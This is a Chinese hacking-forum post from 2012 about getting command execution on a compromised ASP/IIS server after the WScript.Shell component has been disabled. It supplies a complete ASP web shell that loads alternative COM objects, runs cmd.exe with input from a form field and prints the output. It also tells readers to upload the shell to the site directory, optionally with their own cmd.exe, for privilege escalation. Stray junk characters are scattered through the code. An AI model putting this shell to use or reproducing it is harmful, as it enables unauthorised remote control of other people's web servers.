找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2030|回复: 0
打印 上一主题 下一主题

wscript.shell删除解决办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:36:53 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。, N  R1 H2 i. A; B
一般当闭上面组件时,你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。0 W, Z/ ?' u# |7 d% k
要想让运行命令可以试试这种方法,成功率为五五之数。0 h' A! V& ^5 S7 ?- F" m2 L' S% C' I
把下面代码复制:
; K9 i& C. f; T# O- G<object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>7 k3 N3 @! X, m) e; i5 M3 ]
<%if err then%># m# F  G$ U9 b. Z3 n
<object runat=server id=oScriptlhn scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>& ?2 W3 Y4 _7 S/ c7 S) i
<%8 H- }( F9 H$ G
end if, I* ]7 ~9 @9 Y5 t
response.write("<textarea readonly cols=80 rows=20>")
! p( Y1 S9 @: @  yOn Error Resume Next0 p! T' {& H- o% F
response.write oScriptlhn.exec("cmd.exe /c" & request("c")).stdout.readall8 M6 h3 o! s( Q- \& M1 c
response.write("</textarea>")' q( y7 k. m. s6 [1 a' T5 a
response.write("<form method='post'>")1 g! d) C6 `8 A4 T! i7 K& E  ~. b
response.write("<input type=text name='c' size=60><br>")1 M2 {5 @- X! Y4 _( h
response.write("<input type=submit value='执行'></form>")
/ x$ B! M0 c5 h1 h0 j4 ^%>) \5 ?5 c; j# }

: m0 V  Z% C  d' d保存为一个asp文件,然后传到网站目录上去  I' x' \* s% n  N, A7 ?1 b. e
运行的时候可能会出现两个问题,第一是运行了为什么运行不了命令,这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
; m5 O6 S7 q. P0 U3 L我用此成功运行过cacls命令。
1 |- l6 ]  b$ U2 o1 X
6 |, `# h& @% Y& {第二那就是运行时出错,可能限制某些代码执行
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表